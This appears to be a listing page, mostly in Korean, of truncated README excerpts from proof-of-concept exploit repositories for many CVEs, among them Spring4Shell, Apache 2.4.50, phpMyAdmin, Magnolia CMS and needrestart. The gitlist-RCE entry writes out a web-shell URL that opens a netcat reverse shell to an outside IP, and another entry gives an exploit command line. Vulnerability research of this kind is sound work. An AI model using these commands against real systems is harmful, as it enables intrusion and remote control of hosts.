CVE-2026-23744-MCPJAM-RCE-exploit

CVE-2026-23744-MCPJAM-RCE-exploit 이 Python 개념 증명PoC은 대상 애플리케이션에 노출된 취약한 MCPModel Context Protocol 서비스를 대상으로 합니다. 이 취약점으로 인해 공격자는 /api/mcp/connect 엔드포인트에 임의의 서버 구성 매개변수를 공급할 수 있습니다. 영향을 받는 엔드포인트 POST /api/mcp/connect 사용된 도구 및 기술 Python 3 requests 라이브러리 HTTP/JSON API 통신 MCP 서비스 인터페이스 실행 의존성 설치: pip...

CVE-2016-5734-docker

CVE-2016-5734-docker PhpMyAdmin 4.0.x—4.6.2 원격 코드 실행 취약점 CVE-2016-5734 설정 git clone https://github.com/miko550/CVE-2016-5734-docker.git cd CVE-2016-5734-docker docker compose up hhtp://localhost:8083 익스플로잇 python3 cve-2016-5734.py -u root --pwd="root" http://localhost:8083 -c "system'ls -lua'" 참고...

cve-2021-42013.get

Apache 2.4.50 - 경로 탐색 또는 원격 코드 실행 cve-2021-42013.py는 Apache 2.4.50에서 경로 탐색 또는 원격 코드 실행 취약점을 찾는 데 도움이 되는 파이썬 스크립트입니다. CVE-2021-42013에 대한 실습을 위해 취약한 Docker 인스턴스가 제공됩니다. CGI-BIN이 활성화된 경우, 원격 코드 실행은 가능하지만 경로 탐색은 불가능합니다. 따라서 httpd.conf의 Alias 섹션에 "icons" 디렉토리를 추가하여 경로 탐색 취약점을 확인할 수 있도록 했습니다. httpd.con...

cve-2021-42013

Apache 2.4.50 - 경로 탐색 또는 원격 코드 실행 cve-2021-42013.py는 Apache 2.4.50에서 경로 탐색 또는 원격 코드 실행 취약점을 찾는 데 도움이 되는 Python 스크립트입니다. CVE-2021-42013을 실습할 수 있도록 취약한 Docker 인스턴스가 제공됩니다. CGI-BIN이 활성화된 경우, 경로 탐색이 아닌 원격 코드 실행을 수행할 수 있습니다. 따라서 httpd.conf의 Alias 섹션에 "icons" 디렉터리를 추가하여 경로 탐색 취약점을 확인합니다. httpd.conf의 취약...

CVE-2026-42089

CVE-2026-42089 로컬 패키지 설치 헬퍼가 호출자가 제공한 패키지 이름을 과도하게 신뢰했습니다. yeoman-environment에서 누락된 제너레이터가 사용자 확인 없이 설치될 수 있었고, 이로 인해 공격자가 제어하는 프로젝트 메타데이터가 패키지 설치 및 코드 실행 경로로 바뀔 수 있었습니다. 소개 간단한 보안 질문을 염두에 두고 generator-jhipster 를 리뷰하던 중 이 문제를 발견했습니다: 공격자가 제어하는 프로젝트 메타데이터가 개발자 도구로 하여금 사용자가 명시적으로 요청하기 전에 타사 코드를 가져와...

PoC-CVE-2022-22965-Spring4Shell

PoC — CVE-2022-22965 Spring4Shell 면책 조항: 이 저장소는 교육 및 연구 목적으로만 제공됩니다. 모든 익스플로잇 스크립트는 반드시 자신이 소유하거나 명시적인 서면 승인을 받은 시스템에만 사용해야 합니다. 저자는 이 자료로 인한 오용 또는 손해에 대해 책임지지 않습니다. CVE-2022-22965에 대한 연구 및 개념 증명PoC 자료입니다. 이 취약점은 2022년 4월에 공개된 Spring Framework의 치명적인 원격 코드 실행RCE 취약점입니다. 취약점 개요 Spring4Shell 은 다음 조건...

CVE-2019-16662

CVE-2019-16662 rConfig 3.9.2 원격 코드 실행 CVE-2019-16662에 대한 공식 익스플로잇...

gitlist-RCE

gitlist-RCE CVE-2014-4511 예시: 셸 업로드가 성공한 후: 접근: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

WebKit-Bug-256172

WebKit-Bug-256172 Safari 1day RCE 익스플로잇, iOS 16.5.1/macOS 13.4.1에서 패치되었을 수 있음 macOS 13.3.1, iOS 15.8.2에서 익스플로잇이 동작함을 확인함. 설명 현재 하드코딩된 오프셋으로 인해 macOS 13.0.1 x8664에서만 동작합니다. addrof/fakeobj, r/w 프리미티브 구현 SecurityOrigin-muniversalAccess를 1로 패치 JIT 실행으로 stage1.bin 로드 크레딧 상세 분석 문서와 함께 원본 PoC를 공개한 ENKI...

CVE-2022-22965

Spring4ShellCVE-2022-22965 JDK 9+에서 데이터 바인딩을 통한 Spring Framework RCE / spring4shell / CVE-2022-22965 Spring4ShellCVE-2022-22965 Exploit 데모 https://user-images.githubusercontent.com/57348147/161458377-44ab2f76-f947-4599-aa0a-92cbaac819f8.mp4 빌드 docker pull me2nuk/cves:2022-22965 docker run -it -p...

CVE-2022-22963

Spring Cloud Function 취약점CVE-2022-22963 CVE-2022-22963에 취약한 애플리케이션 CVE-2022-22963 익스플로잇 데모 https://user-images.githubusercontent.com/57348147/161266562-51d025f0-54d4-488f-ac50-2317e29bfbdf.mp4 빌드 docker pull me2nuk/cves:2022-22963 docker run -it -p 8080:8080 --name=vuln me2nuk/cves:2022-22963 POC...

CVE-2024-44193

Windows를 iTunes로 해킹하기 - 로컬 권한 상승 제로데이 CVE-2024–44193 소개 이 문서는 CVE-2024–44193에 대한 분석글입니다. 이 취약점은 iTunes 버전 12.13.2.3에서 발견된 로컬 권한 상승 익스플로잇입니다. 2024년 9월 12일 Apple에 의해 패치되었습니다. Apple 보안 권고 링크: Apple 보안 권고 iTunes 버전 12.13.2.3은 Apple Device Discovery Service를 설치합니다: C:\Program Files\Common...

CVE-2017-9841

CVE-2017-9841 CVE-2017-9841 탐지 스크립트 Massimiliano Brasile 제작 발생 상황 2020년 1월 6일, PrestaShop의 대부분 버전에 영향을 미치는 보안 문제에 대해 통보받았습니다 이 경고는 2020년 1월 3일에 PS 팀에 의해 내부적으로만 공유되었습니다. 조사 결과, PHPUnit 1이라는 테스트 프레임워크 라이브러리가 Prestashop 1.7에서 사용되는 일부 프로덕션 모듈에 우연히 포함되어 있어 문제가 발생한 것을 발견했습니다 Prestashop API를 통해 또는...

CVE-2025-20029

CVE-2025-20029: F5 BIG-IP의 TMSH CLI에서의 명령 삽입 F5 'tmsh' 제한적 CLI에 명령 삽입 취약점이 존재하며, 이를 통해 인증된 공격자는 낮은 권한의 사용자가 접근할 수 있는 명령을 활용하여 제한을 우회하고 임의의 명령을 삽입하여 대상 시스템에서 'root' 사용자로 원격 코드 실행을 얻을 수 있습니다. 공급업체 공개: 해당 취약점에 대한 공급업체의 공개 및 수정 사항은 여기에서 확인할 수 있습니다. 요구 사항: 이 취약점을 악용하려면: 유효한 사용자 자격 증명 iControl REST 구성...

CVE-2021-46364

CVE-2021-46364: Magnolia CMS における YAML デシリアライゼーション Magnolia（バージョン =6.2.3）には Snake YAML パーサーが含まれており、YAMLファイルをインポートする際に、攻撃者が任意の Java コンストラクタを呼び出せるようにするデシリアライゼーション攻撃に対して脆弱です。 この脆弱性を利用して、リモートコード実行（RCE）が達成されています。 ベンダー開示: この脆弱性に関するベンダーの開示と修正はこちらで確認できます。 必要条件: この脆弱性の悪用には以下が必要です： 有効なユーザー資格情報 概念実証（PoC）:...

CVE-2021-46362

CVE-2021-46362: Magnolia CMS에서의 FreeMarker 서버 측 템플릿 주입 Magnolia v6.2.3 이하의 등록 및 비밀번호 찾기 폼에서 발견된 서버 측 템플릿 주입SSTI 취약점으로, 인증되지 않은 공격자가 fullname 매개변수에 조작된 페이로드를 입력하여 임의 코드를 실행할 수 있습니다. 공동 작업: 이 취약점은 Marian-Razvan Ilisanu와의 협력을 통해 발견되었습니다. 공급업체 공개: 이 취약점에 대한 공급업체의 공개 및 수정 사항은 여기에서 확인할 수 있습니다. 개념 증명: 자...

CVE-2021-46361

CVE-2021-46361: Magnolia CMS의 FreeMarker 제한 우회 Magnolia CMS v6.2.11 및 이하 버전의 FreeMarker 필터에서 발견된 문제로, 공격자가 보안 제한을 우회하고 특수하게 조작된 FreeMarker 페이로드를 통해 임의 코드를 실행할 수 있습니다. 공급업체 공개: 이 취약점에 대한 공급업체의 공개 및 수정 사항은 여기에서 확인할 수 있습니다. 개념 증명: 자세한 내용과 공격 과정은 이 PDF에서 확인할 수 있습니다. 추가 자료: FreeMarker 샌드박스를 탈출하는 데 사용된...

CVE-2022-40634

CVE-2022-40634: CrafterCMS의 FreeMarker 서버 측 템플릿 인젝션 공격자는 FTL 템플릿에 악성 콘텐츠를 삽입하여 SSTIServer-Side Template Injection, 서버 측 템플릿 인젝션 공격을 수행할 수 있으며, 이러한 공격은 FreeMarker에 노출된 객체를 활용해 제한을 우회하고 RCERemote Code Execution, 원격 코드 실행를 달성할 수 있습니다. 공급업체 공개 정보: 이 취약점에 대한 공급업체의 공개 정보와 수정 사항은 여기에서 확인할 수 있습니다. 요구 사항:...

CVE-2020-0674-Exploit

CVE-2020-0674 CVE-2020-0674는 레거시 jscript 엔진의 use-after-free 취약점입니다. Internet Explorer에서 트리거될 수 있습니다. 이 익스플로잇은 maxpl0it이 작성했지만, 취약점 자체는 Qihoo 360이 실제 환경에서 사용 중인 것을 발견했습니다. 이 익스플로잇은 단순히 계산기를 실행합니다. 익스플로잇 분석은 여기에서 확인할 수 있습니다. 취약점 개요 이 취약점은 비교자 함수를 사용할 때 Array sort 함수에 존재합니다. 비교자 함수에 제공되는 두 인수는 가비지...

CVE-2024-48990-PoC

needrestart의 CVE-2024-48990 PoC 교육 목적으로만 사용하십시오 https://www.qualys.com/2024/11/19/needrestart/needrestart.txt 실행 방법? ./start.sh을 실행하면 가짜 importlib 라이브러리를 컴파일하고, 루트에 의해 needrestart가 실행되기를 기다리는 스크립트를 시작합니다. 이후 셸을 실행합니다...